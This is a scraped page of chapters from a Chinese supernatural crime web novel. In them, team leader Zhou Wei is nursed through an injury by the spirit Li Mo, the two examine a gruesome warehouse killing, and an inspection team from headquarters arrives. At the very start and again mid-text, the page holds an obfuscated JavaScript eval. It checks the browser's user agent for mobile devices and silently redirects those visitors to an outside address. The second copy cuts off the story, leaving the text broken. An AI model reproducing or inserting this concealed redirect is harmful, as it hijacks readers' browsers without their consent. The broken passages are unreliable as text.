;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091623|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小香炉,整个人周身缭绕着一层缥缈白烟,像是睡着了。 李默双手覆在他手背上,为他拢住掌心那点热气,很慢很慢地,他终于从那双手的指尖察觉到了一丝温度。 他心中一动,轻声唤道:“周队?” 香炉中的碎烟轻轻爆出了一个小小的火花,悠悠吐出了最后一缕白烟,缓缓熄灭了。 周纬眼皮轻轻颤抖了两下,慢慢地抬了起来。 他那层层叠叠的双眼皮像是被过长的眼睫压住了似的,抬也只能抬起七分,剩下的三分都氤氲在了一层朦胧中,他眼神迷离,周身笼在一片缭绕白烟里,简直成了那志怪传说中成了精的花妖似的,吸一口凡人精魄,就颤颤巍巍地舒展开漆黑如墨的花瓣来。 随即,花妖落入凡尘,看着握着自己手的看不清轮廓的眼前人,仿佛下意识似的,他模模糊糊地笑了一下。 李默的呼吸突然剧烈地一颤。 他听见周纬很轻很轻地说:“你在啊……” 随即像是安心了似的,拢着香炉的手一松,他的眼睫轻颤两下,阖上了。 ……他睡着了。 这个夜实在过得无比漫长。 与此同时,珑湖市CBD区某高楼的天台上。 夭冥正撑着手坐在天台边缘,耷拉着两条腿,在半空中无聊地踢着鞋子。那双尖头皮鞋非常没有素质地脱了一半,被他险拎拎地挂在脚尖上,颤颤巍巍地颠着,半点也不担心要是从百米高空掉下去,高空抛物会不会砸中某个倒霉的过路人。 天风卷起他暗红色的长发,奔向浩渺无际的天边。 “叮铃铃……”一阵突兀的铃声响起。 夭冥一撩长发,熟练地接起电话:“喂?” “你太高调了。” 电话那头传来一个冷淡严肃的声音,上来就是劈头盖脸的这么一句。 “为什么要把那个小藤妖送到新莲码头去杀?你这样会给我们招惹来许多不必要的注意。”那个冷淡的声音道:“我们的目标是将异监局的目光引到''那里'',而不是引火烧身。” “无所谓啊,”夭冥蛮不在乎地道:“反正按照你的计划,那个叫李默的妖类早晚都是要死的,趁现在过去打个招呼,就当是送个见面礼咯?” “他是要死,但不是现在。罪人在尚未意识到自己的罪孽时便被处决受死,对他们来说是一种不配享受的仁慈。”那个声音冷漠道:“克制你那旺盛的表演欲和好奇心,不许再做多余的事,否则你我的合作即刻取消。” “哎呦,不是吧,生气了?”夭冥“嘻嘻”地笑了起来:“你好歹也是个男人,怎么这么不经逗呀~~~” 电话那头突然陷入了一阵沉默。 “诶?不是吧?真的生气了?”夭冥倏然一愣,随即脸上露出一丝苦恼和无奈:“好吧好吧,败给你了,我不玩了,不玩了还不行吗?” 电话那边沉默良久,终于再次有了声音,但是声调明显更冷了:“第二份‘鱼饵’送出去了吗?” “送出去啦送出去啦,‘鱼儿’吃得很开心呢。”夭冥无聊地用他的长指甲掏了掏耳朵,吹了口气:“我有时候真的怀疑,你真是人类吗?为什么你手里面会有那么多人的把柄,总能精准地找到这些人的弱点呢?” 那人干脆不答,一声不响地挂断了电话。 “呿,真是好没意思的男人。”夭冥兀自鄙视了一口,忽然又想起来什么似的,摸了摸下巴:“诶?不会我也有什么把柄在他手上吧?” “嗨,想那么多作甚?先玩够了再说咯~~”他想了想,又展颜一笑,双手一撑站了起来,竟沿着不足半掌宽的天道边沿走起了高跷,双手插兜,哼起了一段婉转顿挫的唱腔:“花谢花飞花满天,红消香断有谁怜……” 歌声缥缈,化入了融融月色里。 32. 暖夜 白泽的烟也不知是什么灵丹妙药,果然十分神效,周纬燃了两支,情况立时好多了。 李默给他搭了个脉,见他不再浑身冰冷颤抖,也不出虚汗,双目微阖,气息缓慢均匀,便知这一次应该是没事了。 只是这折腾了半宿,周纬身上还是不免多了几分狼狈——他整个人都被冷汗浸透了,身上一件衬衫皱皱巴巴,胸前还有斑斑点点的血迹,头发被汗湿了贴在脸上,因为进门的时候太着急,外衣和鞋子都没脱。 这样是休息不好的。 李默看着床上已经沉沉睡去的周纬,无声地叹了口气,在心里道了声:“得罪。” 他先到客厅打开空调,调了调温度,随后去了趟厨房,开火架锅,烧了满满一锅热水,最后返回卧室,对着衣橱拜了三拜,这才循着味道,从里面取出了一件周纬的睡衣。 给周纬解扣子的时候,李默不知怎的,又想起了出租车司机的那句“要对人家负责啊”,不由自主地又叹息一声,心想:“这也太像个登徒子了。” 恐怕照料周大队长这么一晚,李默叹的气加起来能填满半个珑湖。 他用毛巾沾了热水,细致地给周纬擦过全身,连指缝之间都没放过,拭去冷汗之后又用干毛巾擦掉水渍,擦得他全身干干爽爽,然后给他换上了松软洁净的棉质睡衣。 床单被罩什么的已经被周纬的外衣和鞋子弄脏了,李默为人颇有些洁癖,左思右想,觉得让周纬睡在上面委实不妥,于是干脆抱着周纬换了张床——反正他家里卧室多,也免了李默再去翻橱柜找床单。 空调的暖风呼呼往外吹着,室内的温度已经升起来了。周纬整个人陷在柔软温暖的大床里,身上盖着软和的蚕丝被,眉宇之间终于有了几分舒展。 他沉沉地睡着了。 李默坐在床边,静静地看着他。 真是神奇。周纬醒着的时候,整个人就像是一株行走的曼陀罗,肆无忌惮地张扬着他艳丽的花瓣,向着世人挥洒出令人迷醉的芳香。他有时狡黠机变,有时睿智深沉,有时又带着几分锐利的桀骜和锋芒——但不管是哪一种,他总是热烈、张扬、肆意的,低调和寂然似乎从来都与他无关。 可就是这样飞扬跳脱的一个人,睡着的时候,眉眼却竟然是近乎沉静和柔和的。 他身上所有的锋芒毕露都收敛了,神色淡了下来,几乎带着点稚子般的纯净。仔细一看他的头发有点略长了,挡眉遮眼的,也许是因为最近办案太忙忘了理的缘故。那一丝柔软的额发温顺地垂落,几乎让他的睡颜带上了点安详的意味。 他也很瘦……比李默想象的还要瘦一些。给他擦拭身体的时候,李默才发觉周纬真的很轻,薄薄的几乎像张纸片一样,胸肌腹肌都只有一层浅淡的轮廓。隔着他的胸膛,李默几乎能摸到他嶙峋肋骨下的那颗心脏,正在平缓地跳动着。 李默的神思忽然有些飘忽,心想,就是这样一具身体,扛起了整个监察队吗? ……那这担子,委实也有点太重了。 李默今晚第无数次叹息一声,掠开了周纬遮眼的额发,伸手给他妥帖地掖好被角,轻轻关门退了出去。 周纬感觉自己做了个梦。 梦中他好像回到了无忧无虑的少年时,个头没有这么高,手上也还没戴着那串古朴的灵晔珠,千钧的担子还没有压到他的肩上。他还是那个浑身没有二两肉的干瘦的小屁孩儿,穿着一身松松垮垮的小背心,坐在双层床的上铺上,敲了敲自己生锈掉漆的床栏,嗤笑一声,道:“你准备好礼物了吗?” 下铺的人全身浸在一团氤氲的光影里,轮廓模糊看不分明,只能听见一个清朗的、带着笑意的少年音:“……就送这个吧。” 少年周纬仗着自己身手好,作死地抓着床栏从上铺倒吊下来,头下脚上地露出一个脑袋,发丝根根垂在空中,一伸手猝不及防地抢过那人手里的东西:“暖宝宝?” 他把那暖宝宝摔了那人满身,恨铁不成钢道:“人家谈恋爱都送花!送香水项链!送好看的包!你就算没钱,难道就只送这个?你丢不丢人!丢不丢人!” 那人准备的礼物被扔了满床,倒也不恼,慢吞吞地又一包一包捡起来,好脾气地解释道:“你说的那些当然也要送,但不能随便买点就送了,要多攒点钱才可以……暑假我还可以再打一份工,等到了大学,还能再找兼职……” 他的声音忽远忽近,尾音带着缥缈的回音,像是从哪个遥远的地方飘回来似的,含着清朗的调笑声:“……小纬,寒从足下生……你经常光着脚跑来跑去,要不要也贴一片试试?” 周纬看着那少年的声音和身形都融化在一片逐渐扩大的光晕里,愣愣地眨了眨眼睛,没有伸手挽留。 身边的世界在逐渐褪色、消融,逐渐融化成一片无边无际的苍白。他孤身一人被扑面而来的光晕吞没,被留在了这片空白的世界里。 倒也不是很孤独。 只是有点儿冷了。 于是他很慢很慢地躺了下来,伸手抱住自己赤裸的双腿,蜷缩成一个紧紧的球,试图留住一点温暖。 他听到似乎有脚步声从远处走来。 眼前已经渐渐模糊了,面前的人影看不真切。他眨了眨眼睛,却眨不掉那层朦胧的光晕,恍惚中似乎听到有个熟悉的声音叹了口气,仿佛很是犯愁的样子:“这可怎么是好……” 他感觉到有人把自己抱了起来,是一个很温暖、结实的胸膛。 眼皮很沉,很重,像是有什么东西在沉甸甸地往下坠,他于是温驯顺从地闭上了眼睛,睫毛垂落下来,任由那层温暖的白光包裹住自己。 ……唔,身上倒是不冷了。 周纬这一觉就睡到了日上三竿。 身体从巨大的疲惫和空虚中恢复时,感觉总是比知觉先启动的。他这一觉睡得太沉了,以至于刚睁开眼的时候,五感都已经恢复了,脑子却还有点发懵,在床上瞪着眼睛躺了片刻,这才想起来自己身在何处。 然后他“腾”的一下,仿佛烙面饼似的猛然翻坐起来,眼睛瞪得溜圆。 ——我昨天是不是缠着李默送我回家了?! 然而这个吓人的念头还没在脑海里落定,周纬忽然感觉身上多了一种奇怪的触感,他狐疑地伸手摸了摸,觉得好像有点不太对。 于是他把被子一掀—— “啊啊啊啊啊啊啊啊啊!!!” “怎么了?!”李默人在厨房就听见一声惨叫,手都没来得及擦就慌忙跑了进来,进门迎面就看到一个不明物体冲他当头砸来,也幸亏他伸手敏捷反应极快,千钧一发之际本能地抬手一捞,抓住了一个——热水袋。 然后就听见周纬在床上崩溃咆哮道:“这是什么!这他妈都是什么!” 深蓝色的蚕丝被掀开了一半,周纬坐在床上,黑发凌乱衣襟大敞,露出了大片苍白的胸口和腹肌。他的身边散落了一圈鼓鼓囊囊的热水袋,绕着他的身体整个儿地围了个轮廓出来,看数量足有十几二十个,宛如用热水袋给他堆了个另类花圈,他人往那儿一躺,就可以进行遗体告别仪式了。 这还不是最关键的。最关键的是周纬扯开了自己的睡衣,赫然发现自己浑身上下,前胸、后心、小腹、大臂、小腿……全部被贴上了暖宝宝! 他就说他怎么会做梦梦到暖宝宝! 周纬一把把一片暖宝宝扯了下来,力道之大简直像是要撕下一层皮来,举着那玩意儿在手上,仿佛在举着自己十年未雪的冤情,悲愤道:“这玩意儿哪来的?!” 李默:“……网上买来的。” “你不是不会用互联网吗?为什么会是网上买来的?!” 李默:“……我找了外援。” 事情是这样的。 昨天晚上周纬的情况只好转了半宿,到了下半夜又出了状况。 他这次毕竟伤得狠了,白泽的药再好,也只能治伤,恢复的事却还要慢慢来。周纬这次强灌灵砂,给身体灵脉造成了极大的负担,又在短时间内全部倾泄给了青璇结界,整个人几乎要被抽干,这样一胀一缩之间,就算是个气球都有被吹爆的风险,更何况是个活生生的人。 他灵脉受创,灵力几乎枯竭,气血瘀滞,心火衰微,身体几乎失去了自发热的能力,沉睡之下经脉运转更是缓慢凝滞,所以到了后半夜,他越睡越冷。 等到李默发现不对的时候,他已经在被窝里蜷缩成了一个球,把自己整个人都埋在了里面。 这可怎么是好。 李默顿时一阵头大。这种情况下,最好就是有个和周纬灵力属性相合的灵力者在这里,像电视剧里演的那样,以自身灵力为他推经过血,打通瘀滞的灵脉,带着他的灵力一起运转。这样问题自然化解,他也能逐渐暖和起来。 然而别说李默现在戴着灵枷,就算不戴,他一身妖力,也不敢给周纬用。 偏偏周纬还不许他告诉别人,李默也不敢请别人来帮忙。 还有一种方法,就是把周纬从沉睡中唤醒,让他忍着灵脉受创、灵力空虚的痛苦,自行运转灵力。灵力过体对人身有着自然的恢复和休养作用,只要忍过了这段难受的感觉,灵力运转一夜,他也能好受很多。 可李默看着周纬在睡梦中依然痛苦紧蹙的眉宇,怎么都下不了这个决心。 ……既然正常的办法行不懂,那就只好走“歪门邪道”了。 他打算借助外力让周纬暖和起来。然而这里毕竟是周纬的家,他既不知道有什么可用的东西,也不好随意胡乱翻找,思来想去,只好硬着头皮,拨通了洛小莉的电话。 然后他在尽量隐去事主姓名的情况下,把情况模模糊糊地描述了一遍。 于是在洛小莉的耳朵里,事情就变成了—— “什么?!默哥你说你有一个朋友,浑身发冷手脚冰凉,把自己蜷在床上起不来,脸色发白还直打哆嗦?!” 洛小莉隔着电话都能听出她“没想到你竟然是这样的李默!”的惊骇:“默哥你……真人不露相啊!” 李默正担忧周纬的情况呢,没顾得上深究她这句“真人不露相”是什么意思,只是赶忙道:“这种情况下该怎么办呢?” 洛小莉想都不想:“你抱着她啊!” 李默:“……” 所以说这也太登徒子了!!! 洛小莉听着李默那边慌乱地一叠声拒绝,心说:“哦,那看来是还没到那一步。” 于是她接着出主意:“这样,默哥你在家里找一找,看看有没有暖宝宝、热水袋之类的东西,家里一般都会备着……要是找不到你就上网买,我教你怎么下单……哦对了,你还可以再买点布洛芬……” 周纬面无表情地坐在床上,听着李默和洛小莉是怎么在三言两语间,你一句我一句把他从一个堂堂监察队长变成了一个姨妈期的痛经女生的,半晌缓缓点了点头道:“……很好。” 下一秒,李默迎来了一波由暖宝宝和热水袋组成的天女散花般的暗器暴雨:“你给我滚!!!” 他还不如昨晚直接一命呜呼呢! 李默身形在原地一晃,以眼花缭乱的速度将那些暖宝宝和热水袋全都接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这人不知从哪儿弄来了一件蓝色碎花小围裙,站在清晨暖意融融的阳光里,身材笔直而修长,笑意和煦,整个人都被镀上了一层金边。 周纬下意识地咽了一口唾沫。 他想,岂有此理。 是谁允许这个妖类擅闯他家、擅动他家厨房,还擅自把他家厨房变成了模特秀场的? 他上前一步,正准备摆出一副义正辞严的嘴脸,大义凛然地呵斥这个胆敢在家他为所欲为的狂徒,就见李默忽然眉头一皱,视线落在了他赤裸着踩在冰凉瓷砖的一双脚丫子上。 他脸上笑容蓦然一收:“你怎么不穿拖鞋?” 周纬:“?” 就见李默微愠道:“寒从足下生,你不知道吗?身体不好还不知道注意,快去穿鞋!” 周纬:“……” 他今天是犯天条了吗?被“寒从足下生”这几个字梦里梦外地追杀! 等到周大队长丧权辱国地穿好袜子和拖鞋、臊眉耷拉眼地回到餐厅的时候,李默刚好把两碗红枣枸杞小白粥摆到了餐桌上。 四菜一汤香气氤氲,依依不饶地钻进了周纬的鼻端。空荡荡的胃忍受了一整晚的饥寒交迫,刹那间果断叛变主人意志,辙乱旗靡地倒戈投降,响亮地“咕噜”了一声。 正准备借机找茬的周纬脸色铁青。 李默瞥了他一眼,有些想笑,却又怕再戳破周大队长薄如蝉翼的脸皮,于是赶忙忍了下来,轻咳了一声,把筷子递到他眼前,正色道:“吃饭吧。” 周纬阴沉着一张脸,一言不发地瞥了他一眼,气势汹汹地接过了筷子,忍气吞声地对着那一桌早饭报起了仇。 李默举一反三,无师自通地学会了怎么从网上买菜,于是周纬家那个从装修好就不知道有没有开过火的高档厨房终于有了用武之地。也不知道他一个货真价实的妖类,这一手精绝的厨艺到底是怎么练出来的,周纬刚吃了两口就把满肚子怨念忘在了脑后,好吃得他差点把舌头嚼了咽下去。 等这一顿饭吃饭,周纬把筷子一扔,身子往后重重一靠,长长地舒出一口气。 他靠在餐椅椅背上,抚了抚自己的胃,突然产生了一种“终于活过来了”的感觉。 李默早就吃完了,坐在桌对面安安静静地看着他,见他扔下碗筷,先给他沏了一杯冒着热气的红茶,温声劝慰道:“你吃得太着急了,喝口茶缓一缓。” 周纬二话不说接过来,本打算一饮而尽,没想到茶水太烫,热气熏得他呲牙咧嘴的,无奈只好放慢节奏,捧着个杯子一小口一小口地慢慢抿。 李默见状无奈一笑,随即起身,准备把餐桌收拾了。 周纬:“慢着。” 李默抬起头来,目光询问地看着他。 周纬指尖转着那个杯子,热气氤氲上涌,衬得他黑白分明的眉眼若隐若现。他像是已经完全从昨晚的虚弱状态中恢复了,轻轻往后一靠,抬眼隔着那杯热茶的蒸汽望向李默。 就这一个动作,那种惯常的桀骜不羁又上了身,他又是那个机心玲珑、缜密幽微的周大队长了。 只见他轻轻挑起嘴角,玩味地把李默上下打量一番,像是在揣摩他这个人似的,随即挑逗般地开了口: “李默,你就没有什么要问我的吗?” 李默想了想:“有。” 周纬仿佛一副早就有所预料的表情,游刃有余地对他做了个“请”的手势,微笑点头道:“请问。” 李默于是把原本已经端起来的空碗筷又放回了餐桌上,人也重新坐回了周纬对面,直视着面前的人,面色平静地开了口: “你身上的伤,到底是怎么回事?” 33. 第二案 李默这个问题,并没有出乎周纬意料。 周纬这人,平时看着不着四六,其实心里比谁都精明算计。他这次伤势爆发,不巧刚好被李默抓了个正着,心知李默必然心生疑虑,自己肯定得给个“交代”。 他身上的伤瞒了异监局的人这么久,没想到却被李默撞破,也不知道是不是天意。 不过李默毕竟尽心尽力照顾了自己一夜,如果没有他,这次的伤情恐怕会引起更大的波澜,于情于理,周纬都不能再拒人于千里之外。再说被李默知道总比被异监局其他人知道了要好,李默这人知情识趣,懂分寸、知进退,周纬只要给一个明面上过得去的说法,想必他也不会太得寸进尺,非要窥探他人私隐。 想到了这一层,周纬又宽心大度起来,于是放心地打起了腹稿,想着怎么拿捏分寸,给李默这个“交代”。 然而他没想到,李默的那个问题还有后半句。 他道:“……我本来是想问这个的。” 周纬一愣。 “本来”?什么叫“本来”? “周队昨天告诫了一句‘不能让人知道’,我便猜此事可能别有内情。”李默坐在餐桌对面,沉静地看着他,语气平和:“既然别有内情,想必不足为外人道。我与周队仅是同僚之谊,不敢妄称亲近,自然也在‘外人’之列。周队若不想告诉我,不必为难,也不必觉得因为我昨夜举手之劳,就必须给我一个什么‘交代’……” 被看穿了心思的周纬浑身一哆嗦。 只见李默深深望了他一眼,忽然笑了:“……反正,你没事就好。” 说罢从容起身,又端起了那叠空碗筷,转身想走。 周纬:“你……你给我站那儿!” 李默的动作停住了。 周纬只觉得心头一片混乱,这事情怎么是这个走向的? 他自己心里推演的剧本是——自己行为反常、疑点颇多,李默应该会多番追问,看在他昨晚雪中送炭的情分上,自己可以斟酌着跟他说上两句。真话当然是万万不能讲的,但反正李默也无处求证,只要能自圆其说,打消他的疑虑想必不难。 没想到这家伙,居然不按套路出牌! 周纬长这么大,习惯了戴着面具跟人说话,话里话外总是七分真三分假,还从来没享受过“真话假话我都不听,只要你没事就好”这种堪称纵容般的待遇,一时之间几乎混乱无措起来。 他坐在餐椅上百般的不自在,看在李默眼里,就是一阵大大的无奈。 他想,心事这么重,身体怎么会好呢? 他心知周纬不会跟他说真话,却也不想他为了应付自己再编一套假话出来劳心费神,有心想替他免了这份麻烦,却没想到他连这点好意都受不习惯。 他望着坐在餐椅上神情纠结的周纬,那人洗了澡,换了身深蓝色的丝绸睡衣,双手袖子习惯性地挽到手肘,领口敞开,露出轮廓分明的锁骨和大片苍白的胸口。也不知是睡衣材质太好,还是人太瘦削,那薄而软的丝绸几乎就是只是在那人身上轻飘飘地挂了一层,看在李默眼里,连人带衣服,就是大写的“单薄”两个字。 这样静静地看着他,李默就忍不住想起昨天晚上的情景。 昨夜他察觉情况不对,发现周纬浑身冷得发僵,蜷缩在被窝里的时候,着实让他好生担惊受怕了一阵。 打电话、下单买东西、等外卖把东西送来,这些都是需要时间的。李默等得心急如焚,眼看着周纬面色越来越苍白,嘴唇上血色褪尽,整个人在睡梦中也痛苦地皱着眉,他只感觉自己整颗心都跟着揪紧了。 正当他决定再点一支香,再用热水给周纬擦拭一遍身体的时候,却兀然发现——自己起不了身。 他刚刚倾身靠近,去探试周纬的情况,身子离他靠得近了些。身为妖类,李默的体温常年就比正常人要高,周纬在睡梦中本能地靠近热源,无意识地缩到了他身边,压住了他的一片衣角。 李默心里蓦然一颤。 他想起了自己化形前的时候。 山中的野兽幼崽有时是很难活下来的。到了冬天,大雪封山,寒风凛冽而肃杀,百十里都找不到一点吃食,所有的活物都饿到皮包骨。每到这时,那些尚未长成的小崽子就会成片成片地死去,有的是饿死的,有的是活生生冻死的。 李默化形之前,也不知遇到过多少这样难熬的冬天。每当这个时候,就会有野兽千辛万苦地带着幼崽,趟过暴风骤雪,来到李默居住的山洞,将那些小崽子们送到他的身边乞求庇护。因为它们知道,不管外面多么天寒地冻,李默的身边总是温暖的。 那个时候,那些脆弱的幼崽们也是这样,小小的一只,紧紧地蜷缩在李默浓密厚实的皮毛下,用他长长的毛发盖住自己,在睡梦中也竭尽全力地贴近他,渴求着一点点温暖。 只是山林那么大,雪那么厚,即使是李默也不可能庇护下所有的幼崽们。所以到了春日,冰消雪融,李默巡山时总会在融化的雪层下面发现几只幼崽的尸体。 每当这时候,山中总会响起一阵哀绝的狐泣狼鸣。 李默忽然就下了决心。 他来到床尾,掀开被子一角,将周纬冰凉的双脚拢在怀里,轻柔地给他按摩足上穴位,用手掌的温度给他暖脚。 他不能像洛小莉说的那样真的抱着周纬睡,然而寒从足下生,脚上有了温度,身体自然也就暖和过来了。 黑暗里,周纬的身体因为渐渐回暖而不再紧紧蜷缩,眉宇之间也缓缓舒展。李默能感觉到周纬的身体逐渐变得松软,甚至能看到他的面颊不再那么苍白,唇边也渐渐恢复了一点血色。 那么累做什么呢?他想。 明明只是个脆弱的人类而已啊…… * 因为伤病问题,周纬请了一天假,好在徐培风已经提前有过交代了,市局那边倒也没有出什么乱子。 等隔了一天,周纬休完假回到市局的时候,才听说徐培风已经动身去雍京了。 同时,也有些风言风语流传开来,说这次的灵器黑货案中道崩殂,留下了颇多疑点,总部对珑湖市局有所不满,可能会派专员下来对案件进一步展开调查。 主心骨不在,外面又是一派山雨欲来的氛围,珑湖市上下都有些不安。 周纬对此倒没有什么反应,他的事情还多得很,一回到工作岗位上就开始主持灵器黑货案的后续调查工作。 李星路一死,最重要的线索也跟着断了,但这并不意味着剩下的细枝末节就没有价值可挖。李星路和马宏昇合作,其中必然牵扯到马氏集团的资源,只是马氏的当家人马诚并不一定知情。这部分并不仅仅牵涉超自然力量,也牵扯到人类社会的一些经济犯罪问题,需要跟公安合作,由经侦部门展开进一步调查,相关的案件交接工作也是分量不小。 魏观烛交给周纬的那几个名字,果然都从他们家中都搜出了违规灵器,只是这些人交代自己的灵器黑货都是从夜市上来买的,与马宏昇U盘里出现的类似“直播拍卖”的买卖方式不是同一个渠道。由此可见,那个神秘组织贩卖灵器黑货的渠道不止一条,甚至很有可能不止网罗了李星路这么一个炼器师。他们铺开的这张暗黑大网,比所有人想象的都要大得多。 码头大战也引发了不小的风波,当时战斗动静太大,很难用普通的方法掩饰善后。异监局事后想方设法,用了一条“码头危险化学品存储方式不当引发爆炸”作为借口,勉强解释了一番,新莲码头也被完全封锁了起来,对外宣称借此机会进行整体修缮维护。为此赵局带着周纬、何昭华两人,整整一个星期都在市政住建等各种政府部门之间来回跑腿,忙得团团转。 除此之外也有好消息。李默终于从审讯室中搬了出来,可以正常参与工作了。只是他毕竟身份特殊,跟市局其他监察员一起办公未免有些尴尬,于是周纬直接拍板,在自己的办公室里又给李默安了一张桌子,让他跟自己待在一个屋里。反正他的办公室够大,而李默这个人安静起来,存在感也就跟一棵发财树也没什么区别,放哪儿都主要起到一个花瓶的作用。 另外还有洛小莉……可怜的洛小莉同志,因为那天晚上好心好意地给李默同志出了个主意,并且之后在市局里鬼鬼祟祟地跟李默八卦前天那位“痛经的女生”到底是谁时被某位姓周的队长当场抓包,在完全不明所以的情况下被穿了整整一个星期的小鞋,季度实习报告被打回来三次,气得她差点在家扎周纬的小人。 由此可见,你的对手不一定是真的人,但你的上司一定是真的狗。 等种种后续一一尘埃落定,不知不觉,竟然已经到了三月底。 徐培风走后一个星期,总部的处理意见下来了——灵器黑货案性质恶劣、影响巨大,递交上来的案件报告存在诸多疑点,总部将派遣调查组前来进行进一步深入调查,不日即将抵珑。 对此,周纬的反应是这样的: “总部要查就让他们查去呗。”他一手搭在车窗上,懒洋洋地控着方向盘,摆出一个拉风的姿势,另一只手掏了掏耳朵:“反正我们身正不怕影子斜,又没什么可藏着掖着的。” 然而李默却有些担心:“可是你擅自解封灵枷这件事……” 他们此刻正在前往案发现场的路上。十五分钟前,市局接到市公安局转来的案件,说滨海北路的废弃仓库那边发生了一起案子,可能跟超自然力量有关,请异监局派监察员前往查看。 本来这种尚未确定是否要接案的情况,是不需要周纬亲自出动的。然而他最近实在是被各种事务性工作烦到头大,好不容易有这么个出外勤的机会,果断就撂挑子跑出来了,只留下一个苦命的何昭华在文山会海里哀嚎。 灵枷不是不能解开,只是需要经过严格的审批手续。在珑湖市局中,徐培风、赵昌誉和周纬三个人,都有解封灵枷的权限,然而真正想要解封灵枷,不仅要有三个人的签名同意,还要有珑湖市局公章,并且 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总部之中除了李默之外,虽然还有其他的妖类监察员,但像李默这种以自由身入异监局的少之又少,基本都是一些曾经犯案的妖类,经过总部评估,或有特殊能力,或犯案情节较轻,或有强烈的求生欲望,愿意自愿戴上灵枷“将功赎罪”的。这也是当初李默为什么会提出让薛青青加入异监局的原因,因为此前已经有过不少先例。 但也正因如此,大部分人类监察员都不愿意与妖类监察员为伍——毕竟在正常人看来,让毒贩“洗白”加入缉毒警的队伍,这事儿怎么看怎么扯淡。 在这种大环境下,像周纬这样,一声招呼都不打就临时决定解封灵枷,甚至没有使用“解离器”而把灵枷整个儿从李默脖子上卸了下来的行为,就显得太出格了。这属于彻头彻尾的重大违规,性质不亚于于公然闯入警用仓库,一拳干翻守卫警员,然后拎了一把满弹上膛的警枪出来招摇过市。 “要是没有你,我那晚在新莲码头当场就投胎了,怎么,他们还指望我检讨这件事吗?”周纬冷笑一声:“如果当时不是你解封妖力,当天晚上在场的监察员至少得死一半,我倒是想看看他们怎么敢拿解封灵枷这件事说三道四。” 李默:“……” 他一边为周纬对自己的评价如此之高而深为感动,一边又担忧以周纬这个性格,搞不好要跟调查组干一架。 路虎一路风驰电掣,很快到达了案发现场。 案子是公安那边转过来的,已经由公安方面的人员进行了一遍现场勘查,此刻还未完全撤出。现场各种身穿警服、白大褂和防护服的人走来走去,仓库区域前面已经拉起了警戒线,警察在外围维持秩序,整个案发现场显得混乱又嘈杂。 周纬把路虎停在了警戒线外,刚要下车,却忽然被李默拦住了。 “周队,等一下。”李默的神色莫名显得有些严肃:“你车上有口罩吗?” 周纬一愣:“你需要口罩?怎么了?” 李默摇了摇头:“不是我,普通的口罩对我没有什么作用,但我建议你戴上一个。” 他皱了皱眉:“我闻到了很浓重的血腥味儿。” 周纬怔了一下,随即面色也凝重起来。 很快,他们就知道了那“浓重的血腥味儿”是怎么来的。 案发现场在一处废弃仓库之中。仓库大门洞开,被数个警用探照灯照得一片雪亮,露出了里面令人终生难忘的场景。 空荡荡的废弃仓库中央,堆着三个小小的鼓包。那是三“滩”堆积起来的血肉组织,里面浸泡着衣服鞋子之类的东西,已经全然看不出人的形状——受害者像是被什么东西直接大力压扁、摊平、糊在了地上,血肉、内脏和骨骼齐齐粉碎,就连颅骨这样坚硬的骨骼都未能幸免,整个人只剩下了牙齿之类小块的成型身体组织,其他的全部搅和成了糜烂的一团,迸出来的血肉溅得仓库地面和四壁到处都是,几乎无处下脚。 就连周纬这位身经百战的一线监察员都从未见过这么凶残的死法。整个仓库已经完全进不去人,两人只得站在仓库门边看了几眼,就见周纬长叹一声,抬头看着李默,突然问道:“你喜欢看电影么?” “嗯?”李默一愣,没明白周纬为什么在这种时候提起这个。 “有个很出名的的系列电影叫《死神来了》,里面都是些千奇百怪的花样死法,其中有个被吊到半空的建筑材料掉下来砸死的,”周纬抱着双臂,大拇指向后越过肩头,指了指仓库里面:“……我看效果就跟这几位仁兄差不多。” 李默:“……” 请问人类拍出这种电影来的意义是什么,给变态杀人犯提供灵感吗? “难不成这回的凶手也是个恐怖片爱好者?”周纬眯着眼睛,习惯性地扣着下巴:“还是说咱们的妖类品种数据库又该更新了——增加一下‘轧路机精’这个品种?” 李默哭笑不得地看着他:“周队,这次恐怕,妖类不能领受这个罪名了。” 他跟周纬都感受到了——一靠近这个案发现场,除了扑面而来差点要将人顶个跟头的浓郁血气,就是一股极其明显的、逡巡在周边缭绕不散的灵力波动。 ——这次的凶手,不是妖类,而是个灵力者。 34. 复生 于此同时,珑湖国际机场通往市内的高速上。 一辆纯黑的别克商务车正在平稳行进着。 车前座的副驾驶上,一名深蓝色职业套装、头挽发髻、戴黑框眼镜的女子转过身,将手中的文件夹递了过来:“组长,我在飞机上过了一遍珑湖市局提交上来的案件报告,简单罗列了几个疑点,可以作为我们调查的突破口,请你过目。” 后座上正在闭目养神的男子闻言睁开了眼睛。 这人竟然十分年轻,看样貌不过三十岁上下,留着利落的短发,剑眉星目,容貌俊朗,周身自带一种端正磊落的气度。虽然在闭目养神,这人却也是始终是身姿挺拔、肩背平直,整个人宛如一柄藏锋利剑,锋芒内敛。 正是异监局总部派来珑湖的调查组组长,季凌云。 季凌云探身接过文件夹,打开来扫了一眼,然后抬起头来。 “六十二项存疑之处?” 申彦雪严肃:“是的。” 季凌云:“……” “这只是初步浏览案情报告之后找到的疑点。”申彦雪低头,从怀里的一摞文件中继续开始往外抽资料:“我还没查看过他们的人员口供、接警出警记录、行动备案表以及办案过程中的资金使用明细……” “停停停停停!”前排的司机终于忍无可忍地插话了,高声道:“雪姐,你还记得我们是来干什么的吗?” 